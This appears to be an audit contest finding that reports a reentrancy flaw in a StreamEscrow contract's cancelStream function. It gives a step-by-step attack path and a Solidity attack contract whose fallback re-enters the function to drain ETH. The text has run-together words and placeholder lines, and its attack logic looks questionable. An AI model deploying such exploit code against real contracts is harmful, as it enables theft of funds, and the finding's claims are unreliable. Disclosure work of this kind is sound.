Flat Tartan Mantis
High
A reentrancy vulnerability exists in the StreamEscrow
contract within the cancelStream
and sendETHToTreasury
functions. These functions perform external calls (ETH transfers) without appropriate reentrancy protection, allowing an attacker to perform a reentrancy attack and manipulate the contract's state, potentially leading to loss of funds or other unintended behaviors.
Location Contract: StreamEscrow.sol Contract: Functions: cancelStream, sendETHToTreasurysendETHToTreasury
No response
No response
-
Deploy malicious contract
The attacker deploys a contract namedReentrancyAttack
that contains a fallback function designed to re-enter thecancelStream
function of theStreamEscrow
contract. -
Create an active stream
The attacker ensures they have an active stream by callingcreateStream
on theStreamEscrow
contract with theirnounId
and sending the required ETH to initiate the stream. -
Approve Noun token transfer
The attacker callsnounsToken.approve(StreamEscrowAddress, nounId)
to allow theStreamEscrow
contract to transfer their Noun token on their behalf. -
Initiate the attack
The attacker calls theattack
function on theirReentrancyAttack
contract to begin the exploitation process. -
First call to
cancelStream
Inside theattack
function, theReentrancyAttack
contract calls thecancelStream
function on theStreamEscrow
contract, initiating the stream cancellation process. -
Transfer of Noun token
TheStreamEscrow
contract transfers the Noun token from the attacker to thenounsRecipient
address as part of the stream cancellation process. -
State update deferred
TheStreamEscrow
contract schedules updates to the stream's state variables but does not apply them before making an external call. -
External call triggers fallback
TheStreamEscrow
contract attempts to send ETH back to the attacker's contract usingmsg.sender.call{ value: amountToRefund }('')
, triggering the fallback function in the attacker's contract. -
Re-enter
cancelStream
The fallback function in theReentrancyAttack
contract re-enters thecancelStream
function before the state variables are updated, allowing the attacker to repeat the cancellation process. -
Repeat cancellation
Steps 5–9 are repeated multiple times, enabling the attacker to cancel the same stream multiple times and receive the refund each time. -
Drain funds
Through repeated reentrancy, the attacker drains ETH from theStreamEscrow
contract, exploiting the vulnerability and depleting its balance.
The contract suffers a significant loss of ETH equal to multiple times the refund amount of the canceled stream.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./StreamEscrow.sol";
contract ReentrancyAttack {
StreamEscrow public target;
uint256 public nounId;
constructor(address _target, uint256 _nounId) {
target = StreamEscrow(_target);
nounId = _nounId;
}
fallback() external payable {
if (address(target).balance >= 1 ether) {
// Re-enter the cancelStream function
target.cancelStream(nounId);
}
}
function attack() external payable {
// Assume the attacker has an active stream for nounId
// and has approved the transfer of the Noun token to the target contract
// Cancel the stream, triggering the reentrancy attack
target.cancelStream(nounId);
}
}
No response